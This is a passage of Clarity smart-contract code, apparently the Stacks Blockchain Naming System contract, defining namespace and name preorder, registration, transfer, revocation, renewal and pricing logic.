u640000000 u640000000 u640000000 u640000000 u640000000 u640000000 u640000000 u640000000 u640000000))\n\n;;;; Data\n(define-map namespaces\n  (buff 20)\n  { namespace-import: principal,\n    revealed-at: uint,\n    launched-at: (optional uint),\n    lifetime: uint,\n    can-update-price-function: bool,\n    price-function: {\n      buckets: (list 16 uint),\n      base: uint,\n      coeff: uint,\n      nonalpha-discount: uint,\n      no-vowel-discount: uint\n    }\n  })\n\n(define-map namespace-preorders\n  { hashed-salted-namespace: (buff 20), buyer: principal }\n  { created-at: uint, claimed: bool, stx-burned: uint })\n\n(define-non-fungible-token names { name: (buff 48), namespace: (buff 20) })\n\n;; Rule 1-1 -> 1 principal, 1 name\n(define-map owner-name principal { name: (buff 48), namespace: (buff 20) })\n;; Only applies to non-revoked, non-expired names.\n;; A principal can own many expired names (but they will be transferred away once someone re-registers them),\n;; and can own many revoked names (but they do not resolve and cannot be transferred or updated).\n\n(define-map name-properties\n  { name: (buff 48), namespace: (buff 20) }\n  { registered-at: (optional uint),\n    imported-at: (optional uint),\n    revoked-at: (optional uint),\n    zonefile-hash: (buff 20) })\n\n(define-map name-preorders\n  { hashed-salted-fqn: (buff 20), buyer: principal }\n  { created-at: uint, claimed: bool, stx-burned: uint })\n\n(define-private (min (a uint) (b uint))\n  (if (<= a b) a b))\n\n(define-private (max (a uint) (b uint))\n  (if (> a b) a b))\n\n(define-private (get-exp-at-index (buckets (list 16 uint)) (index uint))\n  (unwrap-panic (element-at buckets index)))\n\n(define-private (is-digit (char (buff 1)))\n  (or\n    (is-eq char 0x30) ;; 0\n    (is-eq char 0x31) ;; 1\n    (is-eq char 0x32) ;; 2\n    (is-eq char 0x33) ;; 3\n    (is-eq char 0x34) ;; 4\n    (is-eq char 0x35) ;; 5\n    (is-eq char 0x36) ;; 6\n    (is-eq char 0x37) ;; 7\n    (is-eq char 0x38) ;; 8\n    (is-eq char 0x39))) ;; 9\n\n(define-private (is-lowercase-alpha (char (buff 1)))\n  (or\n    (is-eq char 0x61) ;; a\n    (is-eq char 0x62) ;; b\n    (is-eq char 0x63) ;; c\n    (is-eq char 0x64) ;; d\n    (is-eq char 0x65) ;; e\n    (is-eq char 0x66) ;; f\n    (is-eq char 0x67) ;; g\n    (is-eq char 0x68) ;; h\n    (is-eq char 0x69) ;; i\n    (is-eq char 0x6a) ;; j\n    (is-eq char 0x6b) ;; k\n    (is-eq char 0x6c) ;; l\n    (is-eq char 0x6d) ;; m\n    (is-eq char 0x6e) ;; n\n    (is-eq char 0x6f) ;; o\n    (is-eq char 0x70) ;; p\n    (is-eq char 0x71) ;; q\n    (is-eq char 0x72) ;; r\n    (is-eq char 0x73) ;; s\n    (is-eq char 0x74) ;; t\n    (is-eq char 0x75) ;; u\n    (is-eq char 0x76) ;; v\n    (is-eq char 0x77) ;; w\n    (is-eq char 0x78) ;; x\n    (is-eq char 0x79) ;; y\n    (is-eq char 0x7a))) ;; z\n\n(define-private (is-vowel (char (buff 1)))\n  (or\n    (is-eq char 0x61) ;; a\n    (is-eq char 0x65) ;; e\n    (is-eq char 0x69) ;; i\n    (is-eq char 0x6f) ;; o\n    (is-eq char 0x75) ;; u\n    (is-eq char 0x79))) ;; y\n\n(define-private (is-special-char (char (buff 1)))\n  (or\n    (is-eq char 0x2d) ;; -\n    (is-eq char 0x5f))) ;; _\n\n(define-private (is-char-valid (char (buff 1)))\n  (or\n    (is-lowercase-alpha char)\n    (is-digit char)\n    (is-special-char char)))\n\n(define-private (is-nonalpha (char (buff 1)))\n  (or\n    (is-digit char)\n    (is-special-char char)))\n\n(define-private (has-vowels-chars (name (buff 48)))\n  (> (len (filter is-vowel name)) u0))\n\n(define-private (has-nonalpha-chars (name (buff 48)))\n  (> (len (filter is-nonalpha name)) u0))\n\n(define-private (has-invalid-chars (name (buff 48)))\n  (< (len (filter is-char-valid name)) (len name)))\n\n(define-private (name-lease-started-at? (namespace-launched-at (optional uint))\n                                        (namespace-revealed-at uint)\n                                        (name-props (tuple\n                                                  (registered-at (optional uint))\n                                                  (imported-at (optional uint))\n                                                  (revoked-at (optional uint))\n                                                  (zonefile-hash (buff 20)))))\n      (let ((registered-at (get registered-at name-props))\n            (imported-at (get imported-at name-props)))\n        (if (is-none namespace-launched-at)\n          (begin\n            ;; The namespace must not be expired\n            (asserts!\n              (> (+ namespace-revealed-at NAMESPACE_LAUNCHABILITY_TTL) block-height)\n              (err ERR_NAMESPACE_PREORDER_LAUNCHABILITY_EXPIRED))\n            (ok (unwrap-panic imported-at)))\n          (begin\n            ;; The namespace must be launched\n            (asserts! (is-some namespace-launched-at) (err ERR_NAMESPACE_NOT_LAUNCHED))\n            ;; Sanity check: the name must have been either be registered or imported\n            (asserts! (is-eq (xor\n              (match registered-at res 1 0)\n              (match imported-at   res 1 0)) 1) (err ERR_PANIC))\n            ;; If the name was launched, then started-at will come from registered-at\n            (if (is-some registered-at)\n              ;; The name was registered - We return the registration block height\n              (ok (unwrap-panic registered-at))\n              ;; The name was imported\n              (if (and (>= (unwrap-panic imported-at) namespace-revealed-at)\n                      (<= (unwrap-panic imported-at) (unwrap-panic namespace-launched-at)))\n                ;; The name was imported after revealing the namespace and before launching the namespace - We return the launch block height\n                (ok (unwrap-panic namespace-launched-at))\n                (ok u0)))))))\n\n;; Note: the following method is used in name-import and name-register. The latter ensure that the name\n;; can be registered, the former does not.\n(define-private (mint-or-transfer-name? (namespace (buff 20)) (name (buff 48)) (beneficiary principal))\n    (let (\n      (current-owner (nft-get-owner? names (tuple (name name) (namespace namespace)))))\n      ;; The principal can register a name\n      (asserts!\n        (try! (can-receive-name beneficiary))\n        (err ERR_PRINCIPAL_ALREADY_ASSOCIATED))\n      (if (is-none current-owner)\n        ;; This is a new name, let's mint it\n        (begin\n          (unwrap!\n            (nft-mint?\n              names\n              { name: name, namespace: namespace }\n              beneficiary)\n            (err ERR_NAME_COULD_NOT_BE_MINTED))\n          (map-set owner-name\n            beneficiary\n            { name: name, namespace: namespace })\n          (ok true))\n        (update-name-ownership? namespace name (unwrap-panic current-owner) beneficiary))))\n\n(define-private (update-name-ownership? (namespace (buff 20))\n                                        (name (buff 48))\n                                        (from principal)\n                                        (to principal))\n  (if (is-eq from to)\n    (ok true)\n    (begin\n      (unwrap!\n        (nft-transfer? names { name: name, namespace: namespace } from to)\n        (err ERR_NAME_COULD_NOT_BE_TRANSFERED))\n      (map-delete owner-name from)\n      (map-set owner-name\n        to\n        { name: name, namespace: namespace })\n      (ok true))))\n\n(define-private (update-zonefile-and-props (namespace (buff 20))\n                                           (name (buff 48))\n                                           (registered-at (optional uint))\n                                           (imported-at (optional uint))\n                                           (revoked-at (optional uint))\n                                           (zonefile-hash (buff 20))\n                                           (op (string-ascii 16)))\n  (let\n    ((current-index (var-get attachment-index)))\n      ;; Emit event used as a system hinter\n      (print {\n        attachment: {\n          hash: zonefile-hash,\n          attachment-index: current-index,\n          metadata: {\n            name: name,\n            namespace: namespace,\n            tx-sender: tx-sender,\n            op: op\n          }\n        }})\n      ;; Update cursor\n      (var-set attachment-index (+ u1 current-index))\n      (map-set name-properties\n        { name: name, namespace: namespace }\n        { registered-at: registered-at,\n          imported-at: imported-at,\n          revoked-at: revoked-at,\n          zonefile-hash: zonefile-hash })))\n\n(define-private (is-namespace-available (namespace (buff 20)))\n  (match (map-get? namespaces namespace) namespace-props\n    (begin\n      ;; Is the namespace launched?\n      (if (is-some (get launched-at namespace-props))\n        false\n        (> block-height (+ (get revealed-at namespace-props) NAMESPACE_LAUNCHABILITY_TTL)))) ;; Is the namespace expired?\n    true))\n\n(define-private (compute-name-price (name (buff 48))\n                                    (price-function (tuple (buckets (list 16 uint))\n                                                           (base uint)\n                                                           (coeff uint)\n                                                           (nonalpha-discount uint)\n                                                           (no-vowel-discount uint))))\n  (let (\n    (exponent (get-exp-at-index (get buckets price-function) (min u15 (- (len name) u1))))\n    (no-vowel-discount (if (not (has-vowels-chars name)) (get no-vowel-discount price-function) u1))\n    (nonalpha-discount (if (has-nonalpha-chars name) (get nonalpha-discount price-function) u1)))\n    (*\n      (/\n        (*\n          (get coeff price-function)\n          (pow (get base price-function) exponent))\n        (max nonalpha-discount no-vowel-discount))\n      u10)))\n\n;;;; NAMESPACES\n;; NAMESPACE_PREORDER\n;; This step registers the salted hash of the namespace with BNS nodes, and burns the requisite amount of cryptocurrency.\n;; Additionally, this step proves to the BNS nodes that user has honored the BNS consensus rules by including a recent\n;; consensus hash in the transaction.\n;; Returns pre-order's expiration date (in blocks).\n(define-public (namespace-preorder (hashed-salted-namespace (buff 20))\n                                   (stx-to-burn uint))\n  (let\n    ((former-preorder\n      (map-get? namespace-preorders { hashed-salted-namespace: hashed-salted-namespace, buyer: tx-sender })))\n    ;; Ensure eventual former pre-order expired\n    (asserts!\n      (if (is-none former-preorder)\n        true\n        (>= block-height (+ NAMESPACE_PREORDER_CLAIMABILITY_TTL\n                            (unwrap-panic (get created-at former-preorder)))))\n      (err ERR_NAMESPACE_PREORDER_ALREADY_EXISTS))\n    ;; Ensure that the hashed namespace is 20 bytes long\n    (asserts! (is-eq (len hashed-salted-namespace) u20) (err ERR_NAMESPACE_HASH_MALFORMED))\n    ;; Ensure that user will be burning a positive amount of tokens\n    (asserts! (> stx-to-burn u0) (err ERR_NAMESPACE_STX_BURNT_INSUFFICIENT))\n    ;; Burn the tokens\n    (unwrap! (stx-burn? stx-to-burn tx-sender) (err ERR_INSUFFICIENT_FUNDS))\n    ;; Register the preorder\n    (map-set namespace-preorders\n      { hashed-salted-namespace: hashed-salted-namespace, buyer: tx-sender }\n      { created-at: block-height, claimed: false, stx-burned: stx-to-burn })\n    (ok (+ block-height NAMESPACE_PREORDER_CLAIMABILITY_TTL))))\n\n;; NAMESPACE_REVEAL\n;; This second step reveals the salt and the namespace ID (pairing it with its NAMESPACE_PREORDER). It reveals how long\n;; names last in this namespace before they expire or must be renewed, and it sets a price function for the namespace\n;; that determines how cheap or expensive names its will be.\n(define-public (namespace-reveal (namespace (buff 20))\n                                 (namespace-salt (buff 20))\n                                 (p-func-base uint)\n                                 (p-func-coeff uint)\n                                 (p-func-b1 uint)\n                                 (p-func-b2 uint)\n                                 (p-func-b3 uint)\n                                 (p-func-b4 uint)\n                                 (p-func-b5 uint)\n                                 (p-func-b6 uint)\n                                 (p-func-b7 uint)\n                                 (p-func-b8 uint)\n                                 (p-func-b9 uint)\n                                 (p-func-b10 uint)\n                                 (p-func-b11 uint)\n                                 (p-func-b12 uint)\n                                 (p-func-b13 uint)\n                                 (p-func-b14 uint)\n                                 (p-func-b15 uint)\n                                 (p-func-b16 uint)\n                                 (p-func-non-alpha-discount uint)\n                                 (p-func-no-vowel-discount uint)\n                                 (lifetime uint)\n                                 (namespace-import principal))\n  ;; The salt and namespace must hash to a preorder entry in the `namespace_preorders` table.\n  ;; The sender must match the principal in the preorder entry (implied)\n  (let (\n    (hashed-salted-namespace (hash160 (concat namespace namespace-salt)))\n    (price-function (tuple\n      (buckets (list\n        p-func-b1\n        p-func-b2\n        p-func-b3\n        p-func-b4\n        p-func-b5\n        p-func-b6\n        p-func-b7\n        p-func-b8\n        p-func-b9\n        p-func-b10\n        p-func-b11\n        p-func-b12\n        p-func-b13\n        p-func-b14\n        p-func-b15\n        p-func-b16))\n      (base p-func-base)\n      (coeff p-func-coeff)\n      (nonalpha-discount p-func-non-alpha-discount)\n      (no-vowel-discount p-func-no-vowel-discount)))\n    (preorder (unwrap!\n      (map-get? namespace-preorders { hashed-salted-namespace: hashed-salted-namespace, buyer: tx-sender })\n      (err ERR_NAMESPACE_PREORDER_NOT_FOUND)))\n    (namespace-price (try! (get-namespace-price namespace))))\n    ;; The namespace must only have valid chars\n    (asserts!\n      (not (has-invalid-chars namespace))\n      (err ERR_NAMESPACE_CHARSET_INVALID))\n    ;; The namespace must not exist in the `namespaces` table, or be expired\n    (asserts!\n      (is-namespace-available namespace)\n      (err ERR_NAMESPACE_ALREADY_EXISTS))\n    ;; The amount burnt must be equal to or greater than the cost of the namespace\n    (asserts!\n      (>= (get stx-burned preorder) namespace-price)\n      (err ERR_NAMESPACE_STX_BURNT_INSUFFICIENT))\n    ;; This transaction must arrive within 24 hours of its `NAMESPACE_PREORDER`\n    (asserts!\n      (< block-height (+ (get created-at preorder) NAMESPACE_PREORDER_CLAIMABILITY_TTL))\n      (err ERR_NAMESPACE_PREORDER_CLAIMABILITY_EXPIRED))\n    ;; The preorder record for this namespace will be marked as \"claimed\"\n    (map-set namespace-preorders\n      { hashed-salted-namespace: hashed-salted-namespace, buyer: tx-sender }\n      { created-at: (get created-at preorder), claimed: true, stx-burned: (get stx-burned preorder) })\n    ;; The namespace will be set as \"revealed\" but not \"launched\", its price function, its renewal rules, its version,\n    ;; and its import principal will be written to the  `namespaces` table.\n    (map-set namespaces\n      namespace\n      { namespace-import: namespace-import,\n        revealed-at: block-height,\n        launched-at: none,\n        lifetime: lifetime,\n        can-update-price-function: true,\n        price-function: price-function })\n    (ok true)))\n\n;; NAME_IMPORT\n;; Once a namespace is revealed, the user has the option to populate it with a set of names. Each imported name is given\n;; both an owner and some off-chain state. This step is optional; Namespace creators are not required to import names.\n(define-public (name-import (namespace (buff 20))\n                            (name (buff 48))\n                            (beneficiary principal)\n                            (zonefile-hash (buff 20)))\n  (let (\n    (namespace-props (unwrap!\n      (map-get? namespaces namespace)\n      (err ERR_NAMESPACE_NOT_FOUND))))\n      ;; The name must only have valid chars\n      (asserts!\n        (not (has-invalid-chars name))\n        (err ERR_NAME_CHARSET_INVALID))\n      ;; The sender principal must match the namespace's import principal\n      (asserts!\n        (is-eq (get namespace-import namespace-props) tx-sender)\n        (err ERR_NAMESPACE_OPERATION_UNAUTHORIZED))\n      ;; The name's namespace must not be launched\n      (asserts!\n        (is-none (get launched-at namespace-props))\n        (err ERR_NAMESPACE_ALREADY_LAUNCHED))\n      ;; Less than 1 year must have passed since the namespace was \"revealed\"\n      (asserts!\n        (< block-height (+ (get revealed-at namespace-props) NAMESPACE_LAUNCHABILITY_TTL))\n        (err ERR_NAMESPACE_PREORDER_LAUNCHABILITY_EXPIRED))\n      ;; Mint the new name\n      (try! (mint-or-transfer-name? namespace name beneficiary))\n      ;; Update zonefile and props\n      (update-zonefile-and-props\n        namespace\n        name\n        none\n        (some block-height) ;; Set imported-at\n        none\n        zonefile-hash\n        \"name-import\")\n      (ok true)))\n\n;; NAMESPACE_READY\n;; The final step of the process launches the namespace and makes the namespace available to the public. Once a namespace\n;; is launched, anyone can register a name in it if they pay the appropriate amount of cryptocurrency.\n(define-public (namespace-ready (namespace (buff 20)))\n  (let (\n      (namespace-props (unwrap!\n        (map-get? namespaces namespace)\n        (err ERR_NAMESPACE_NOT_FOUND))))\n    ;; The sender principal must match the namespace's import principal\n    (asserts!\n      (is-eq (get namespace-import namespace-props) tx-sender)\n      (err ERR_NAMESPACE_OPERATION_UNAUTHORIZED))\n    ;; The name's namespace must not be launched\n    (asserts!\n      (is-none (get launched-at namespace-props))\n      (err ERR_NAMESPACE_ALREADY_LAUNCHED))\n    ;; Less than 1 year must have passed since the namespace was \"revealed\"\n    (asserts!\n      (< block-height (+ (get revealed-at namespace-props) NAMESPACE_LAUNCHABILITY_TTL))\n      (err ERR_NAMESPACE_PREORDER_LAUNCHABILITY_EXPIRED))\n    (let ((namespace-props-updated (merge namespace-props { launched-at: (some block-height) })))\n      ;; The namespace will be set to \"launched\"\n      (map-set namespaces namespace namespace-props-updated)\n      ;; Emit an event\n      (print { namespace: namespace, status: \"ready\", properties: namespace-props-updated })\n      (ok true))))\n\n;; NAMESPACE_UPDATE_FUNCTION_PRICE\n(define-public (namespace-update-function-price (namespace (buff 20))\n                                        (p-func-base uint)\n                                        (p-func-coeff uint)\n                                        (p-func-b1 uint)\n                                        (p-func-b2 uint)\n                                        (p-func-b3 uint)\n                                        (p-func-b4 uint)\n                                        (p-func-b5 uint)\n                                        (p-func-b6 uint)\n                                        (p-func-b7 uint)\n                                        (p-func-b8 uint)\n                                        (p-func-b9 uint)\n                                        (p-func-b10 uint)\n                                        (p-func-b11 uint)\n                                        (p-func-b12 uint)\n                                        (p-func-b13 uint)\n                                        (p-func-b14 uint)\n                                        (p-func-b15 uint)\n                                        (p-func-b16 uint)\n                                        (p-func-non-alpha-discount uint)\n                                        (p-func-no-vowel-discount uint))\n  (let (\n      (namespace-props (unwrap!\n        (map-get? namespaces namespace)\n        (err ERR_NAMESPACE_NOT_FOUND)))\n      (price-function (tuple\n        (buckets (list\n          p-func-b1\n          p-func-b2\n          p-func-b3\n          p-func-b4\n          p-func-b5\n          p-func-b6\n          p-func-b7\n          p-func-b8\n          p-func-b9\n          p-func-b10\n          p-func-b11\n          p-func-b12\n          p-func-b13\n          p-func-b14\n          p-func-b15\n          p-func-b16))\n        (base p-func-base)\n        (coeff p-func-coeff)\n        (nonalpha-discount p-func-non-alpha-discount)\n        (no-vowel-discount p-func-no-vowel-discount))))\n    ;; The sender principal must match the namespace's import principal\n    (asserts!\n      (is-eq (get namespace-import namespace-props) tx-sender)\n      (err ERR_NAMESPACE_OPERATION_UNAUTHORIZED))\n    ;; The namespace price function must still be editable\n    (asserts!\n      (get can-update-price-function namespace-props)\n      (err ERR_NAMESPACE_OPERATION_UNAUTHORIZED))\n    (map-set namespaces\n      namespace\n      (merge namespace-props { price-function: price-function }))\n    (ok true)))\n\n;; NAMESPACE_REVOKE_PRICE_EDITION\n(define-public (namespace-revoke-function-price-edition (namespace (buff 20)))\n  (let (\n      (namespace-props (unwrap!\n        (map-get? namespaces namespace)\n        (err ERR_NAMESPACE_NOT_FOUND))))\n    ;; The sender principal must match the namespace's import principal\n    (asserts!\n      (is-eq (get namespace-import namespace-props) tx-sender)\n      (err ERR_NAMESPACE_OPERATION_UNAUTHORIZED))\n    (map-set namespaces\n      namespace\n      (merge namespace-props { can-update-price-function: false }))\n    (ok true)))\n\n;; NAME_PREORDER\n;; This is the first transaction to be sent. It tells all BNS nodes the salted hash of the BNS name,\n;; and it burns the registration fee.\n(define-public (name-preorder (hashed-salted-fqn (buff 20))\n                              (stx-to-burn uint))\n  (let\n    ((former-preorder\n      (map-get? name-preorders { hashed-salted-fqn: hashed-salted-fqn, buyer: tx-sender })))\n    ;; Ensure eventual former pre-order expired\n    (asserts!\n      (if (is-none former-preorder)\n        true\n        (>= block-height (+ NAME_PREORDER_CLAIMABILITY_TTL\n                            (unwrap-panic (get created-at former-preorder)))))\n      (err ERR_NAME_PREORDER_ALREADY_EXISTS))\n          (asserts! (> stx-to-burn u0) (err ERR_NAMESPACE_STX_BURNT_INSUFFICIENT))\n    ;; Ensure that the hashed fqn is 20 bytes long\n    (asserts! (is-eq (len hashed-salted-fqn) u20) (err ERR_NAME_HASH_MALFORMED))\n    ;; Ensure that user will be burning a positive amount of tokens\n    (asserts! (> stx-to-burn u0) (err ERR_NAME_STX_BURNT_INSUFFICIENT))\n    ;; Burn the tokens\n    (unwrap! (stx-burn? stx-to-burn tx-sender) (err ERR_INSUFFICIENT_FUNDS))\n    ;; Register the pre-order\n    (map-set name-preorders\n      { hashed-salted-fqn: hashed-salted-fqn, buyer: tx-sender }\n      { created-at: block-height, stx-burned: stx-to-burn, claimed: false })\n    (ok (+ block-height NAME_PREORDER_CLAIMABILITY_TTL))))\n\n;; NAME_REGISTRATION\n;; This is the second transaction to be sent. It reveals the salt and the name to all BNS nodes,\n;; and assigns the name an initial public key hash and zone file hash\n(define-public (name-register (namespace (buff 20))\n                              (name (buff 48))\n                              (salt (buff 20))\n                              (zonefile-hash (buff 20)))\n  (let (\n    (hashed-salted-fqn (hash160 (concat (concat (concat name 0x2e) namespace) salt)))\n    (namespace-props (unwrap!\n          (map-get? namespaces namespace)\n          (err ERR_NAMESPACE_NOT_FOUND)))\n    (preorder (unwrap!\n      (map-get? name-preorders { hashed-salted-fqn: hashed-salted-fqn, buyer: tx-sender })\n      (err ERR_NAME_PREORDER_NOT_FOUND))))\n      ;; The name can be registered\n      (asserts! (try! (can-name-be-registered namespace name))\n        (err ERR_NAME_UNAVAILABLE))\n      ;; The preorder must have been created after the launch of the namespace\n      (asserts!\n        (> (get created-at preorder) (unwrap-panic (get launched-at namespace-props)))\n        (err ERR_NAME_PREORDERED_BEFORE_NAMESPACE_LAUNCH))\n      ;; The preorder entry must be unclaimed\n      (asserts!\n        (is-eq (get claimed preorder) false)\n        (err ERR_NAME_ALREADY_CLAIMED))\n      ;; Less than 24 hours must have passed since the name was preordered\n      (asserts!\n        (< block-height (+ (get created-at preorder) NAME_PREORDER_CLAIMABILITY_TTL))\n        (err ERR_NAME_CLAIMABILITY_EXPIRED))\n      ;; The amount burnt must be equal to or greater than the cost of the name\n      (asserts!\n        (>= (get stx-burned preorder) (compute-name-price name (get price-function namespace-props)))\n        (err ERR_NAME_STX_BURNT_INSUFFICIENT))\n      ;; Mint the name if new, transfer the name otherwise.\n      (try! (mint-or-transfer-name? namespace name tx-sender))\n      ;; Update name's metadata / properties\n      (update-zonefile-and-props\n        namespace\n        name\n        (some block-height)\n        none\n        none\n        zonefile-hash\n        \"name-register\")\n      (ok true)))\n\n;; NAME_UPDATE\n;; A NAME_UPDATE transaction changes the name's zone file hash. You would send one of these transactions\n;; if you wanted to change the name's zone file contents.\n;; For example, you would do this if you want to deploy your own Gaia hub and want other people to read from it.\n(define-public (name-update (namespace (buff 20))\n                            (name (buff 48))\n                            (zonefile-hash (buff 20)))\n  (let (\n    (data (try! (check-name-ops-preconditions namespace name))))\n    ;; Update the zonefile\n    (update-zonefile-and-props\n      namespace\n      name\n      (get registered-at (get name-props data))\n      (get imported-at (get name-props data))\n      none\n      zonefile-hash\n      \"name-update\")\n    (ok true)))\n\n;; NAME_TRANSFER\n;; A NAME_TRANSFER transaction changes the name's public key hash. You would send one of these transactions if you wanted to:\n;; - Change your private key\n;; - Send the name to someone else\n;; When transferring a name, you have the option to also clear the name's zone file hash (i.e. set it to null).\n;; This is useful for when you send the name to someone else, so the recipient's name does not resolve to your zone file.\n(define-public (name-transfer (namespace (buff 20))\n                              (name (buff 48))\n                              (new-owner principal)\n                              (zonefile-hash (optional (buff 20))))\n  (let (\n    (data (try! (check-name-ops-preconditions namespace name)))\n    (can-new-owner-get-name (try! (can-receive-name new-owner))))\n    ;; The new owner does not own a name\n    (asserts!\n      can-new-owner-get-name\n      (err ERR_PRINCIPAL_ALREADY_ASSOCIATED))\n    ;; Transfer the name\n    (unwrap!\n      (update-name-ownership? namespace name tx-sender new-owner)\n      (err ERR_NAME_TRANSFER_FAILED))\n    ;; Update or clear the zonefile\n    (update-zonefile-and-props\n        namespace\n        name\n        (get registered-at (get name-props data))\n        (get imported-at (get name-props data))\n        none\n        (if (is-none zonefile-hash)\n          0x\n          (unwrap-panic zonefile-hash))\n        \"name-transfer\")\n    (ok true)))\n\n;; NAME_REVOKE\n;; A NAME_REVOKE transaction makes a name unresolvable. The BNS consensus rules stipulate that once a name\n;; is revoked, no one can change its public key hash or its zone file hash.\n;; The name's zone file hash is set to null to prevent it from resolving.\n;; You should only do this if your private key is compromised, or if you want to render your name unusable for whatever reason.\n(define-public (name-revoke (namespace (buff 20))\n                            (name (buff 48)))\n  (let (\n    (data (try! (check-name-ops-preconditions namespace name))))\n    ;; Clear the zonefile\n    (update-zonefile-and-props\n        namespace\n        name\n        (get registered-at (get name-props data))\n        (get imported-at (get name-props data))\n        (some block-height)\n        0x\n        \"name-revoke\")\n    (ok true)))\n\n;; NAME_RENEWAL\n;; Depending in the namespace rules, a name can expire. For example, names in the .id namespace expire after 2 years.\n;; You need to send a NAME_RENEWAL every so often to keep your name.\n;; You will pay the registration cost of your name to the namespace's designated burn address when you renew it.\n;; When a name expires, it enters a month-long \"grace period\" (5000 blocks).\n;; It will stop resolving in the grace period, and all of the above operations will cease to be honored by the BNS consensus rules.\n;; You may, however, send a NAME_RENEWAL during this grace period to preserve your name.\n;; If your name is in a namespace where names do not expire, then you never need to use this transaction.\n(define-public (name-renewal (namespace (buff 20))\n                             (name (buff 48))\n                             (stx-to-burn uint)\n                             (new-owner (optional principal))\n                             (zonefile-hash (optional (buff 20))))\n  (let (\n    (namespace-props (unwrap!\n      (map-get? namespaces namespace)\n      (err ERR_NAMESPACE_NOT_FOUND)))\n    (owner (unwrap!\n      (nft-get-owner? names { name: name, namespace: namespace })\n      (err ERR_NAME_NOT_FOUND))) ;; The name must exist\n    (name-props (unwrap!\n      (map-get? name-properties { name: name, namespace: namespace })\n      (err ERR_NAME_NOT_FOUND)))) ;; The name must exist\n    ;; The namespace must be launched\n    (asserts!\n      (is-some (get launched-at namespace-props))\n      (err ERR_NAMESPACE_NOT_LAUNCHED))\n    ;; The namespace should require renewals\n    (asserts!\n      (> (get lifetime namespace-props) u0)\n      (err ERR_NAME_OPERATION_UNAUTHORIZED))\n    ;; The sender must match the name's current owner\n    (asserts!\n      (is-eq owner tx-sender)\n      (err ERR_NAME_OPERATION_UNAUTHORIZED))\n    ;; If expired, the name must be in the renewal grace period.\n    (if (try! (is-name-lease-expired namespace name))\n      (asserts!\n        (is-eq (try! (is-name-in-grace-period namespace name)) true)\n        (err ERR_NAME_EXPIRED))\n      true)\n    ;; The amount burnt must be equal to or greater than the cost of the namespace\n    (asserts!\n      (>= stx-to-burn (compute-name-price name (get price-function namespace-props)))\n      (err ERR_NAME_STX_BURNT_INSUFFICIENT))\n    ;; The name must not be revoked\n    (asserts!\n      (is-none (get revoked-at name-props))\n      (err ERR_NAME_REVOKED))\n    ;; Transfer the name, if any new-owner\n    (if (is-none new-owner)\n      true\n      (try! (can-receive-name (unwrap-panic new-owner))))\n    ;; Update the zonefile, if any.\n    (if (is-none zonefile-hash)\n      (map-set name-properties\n        { name: name, namespace: namespace }\n        { registered-at: (some block-height),\n          imported-at: none,\n          revoked-at: none,\n          zonefile-hash: (get zonefile-hash name-props) })\n      (update-zonefile-and-props\n              namespace\n              name\n              (some block-height)\n              none\n              none\n              (unwrap-panic zonefile-hash)\n              \"name-renewal\"))\n    (ok true)))\n\n;; Additionals public methods\n\n(define-read-only (get-namespace-price (namespace (buff 20)))\n  (let ((namespace-len (len namespace)))\n    (asserts!\n      (> namespace-len u0)\n      (err ERR_NAMESPACE_BLANK))\n    (ok (unwrap-panic\n      (element-at NAMESPACE_PRICE_TIERS (min u7 (- namespace-len u1)))))))\n\n(define-read-only (get-name-price (namespace (buff 20)) (name (buff 48)))\n  (let (\n      (namespace-props (unwrap!\n        (map-get? namespaces namespace)\n        (err ERR_NAMESPACE_NOT_FOUND))))\n    (ok (compute-name-price name (get price-function namespace-props)))))\n\n(define-read-only (check-name-ops-preconditions (namespace (buff 20)) (name (buff 48)))\n  (let (\n    (owner (unwrap!\n      (nft-get-owner? names { name: name, namespace: namespace })\n      (err ERR_NAME_NOT_FOUND))) ;; The name must exist\n    (namespace-props (unwrap!\n      (map-get? namespaces namespace)\n      (err ERR_NAMESPACE_NOT_FOUND)))\n    (name-props (unwrap!\n      (map-get? name-properties { name: name, namespace: namespace })\n      (err ERR_NAME_NOT_FOUND)))) ;; The name must exist\n      ;; The namespace must be launched\n      (asserts!\n        (is-some (get launched-at namespace-props))\n        (err ERR_NAMESPACE_NOT_LAUNCHED))\n      ;; The sender must match the name's current owner\n      (asserts!\n        (is-eq owner tx-sender)\n        (err ERR_NAME_OPERATION_UNAUTHORIZED))\n      ;; The name must not be in the renewal grace period\n      (asserts!\n        (is-eq (try! (is-name-in-grace-period namespace name)) false)\n        (err ERR_NAME_GRACE_PERIOD))\n      ;; The name must not be expired\n      (asserts!\n        (is-eq (try! (is-name-lease-expired namespace name)) false)\n        (err ERR_NAME_EXPIRED))\n      ;; The name must not be revoked\n      (asserts!\n        (is-none (get revoked-at name-props))\n        (err ERR_NAME_REVOKED))\n      (ok { namespace-props: namespace-props, name-props: name-props, owner: owner })))\n\n(define-read-only (can-namespace-be-registered (namespace (buff 20)))\n  (ok (is-namespace-available namespace)))\n\n(define-read-only (is-name-lease-expired (namespace (buff 20)) (name (buff 48)))\n  (let (\n    (namespace-props (unwrap!\n      (map-get? namespaces namespace)\n      (err ERR_NAMESPACE_NOT_FOUND)))\n    (name-props (unwrap!\n      (map-get? name-properties { name: name, namespace: namespace })\n      (err ERR_NAME_NOT_FOUND)))\n    (lease-started-at (try! (name-lease-started-at? (get launched-at namespace-props) (get revealed-at namespace-props) name-props)))\n    (lifetime (get lifetime namespace-props)))\n      (if (is-eq lifetime u0)\n        (ok false)\n        (ok (> block-height (+ lifetime lease-started-at))))))\n\n(define-read-only (is-name-in-grace-period (namespace (buff 20)) (name (buff 48)))\n  (let (\n    (namespace-props (unwrap!\n      (map-get? namespaces namespace)\n      (err ERR_NAMESPACE_NOT_FOUND)))\n    (name-props (unwrap!\n      (map-get? name-properties { name: name, namespace: namespace })\n      (err ERR_NAME_NOT_FOUND)))\n    (lease-started-at (try! (name-lease-started-at? (get launched-at namespace-props) (get revealed-at namespace-props) name-props)))\n    (lifetime (get lifetime namespace-props)))\n      (if (is-eq lifetime u0)\n        (ok false)\n        (ok (and\n          (> block-height (+ lifetime lease-started-at))\n          (<= block-height (+ (+ lifetime lease-started-at) NAME_GRACE_PERIOD_DURATION)))))))\n\n(define-read-only (resolve-principal (owner principal))\n  (match (map-get? owner-name owner)\n    name (match (name-resolve (get namespace name) (get name name))\n      resolved-name (ok name)\n      error (err {code: error, name: (some name)}))\n    (err {code: ERR_NAME_NOT_FOUND, name: none})))\n\n(define-read-only (can-receive-name (owner principal))\n  (let ((current-owned-name (map-get? owner-name owner)))\n    (if (is-none current-owned-name)\n      (ok true)\n      (let (\n        (namespace (unwrap-panic (get namespace current-owned-name)))\n        (name (unwrap-panic (get name current-owned-name))))\n        (if (is-namespace-available 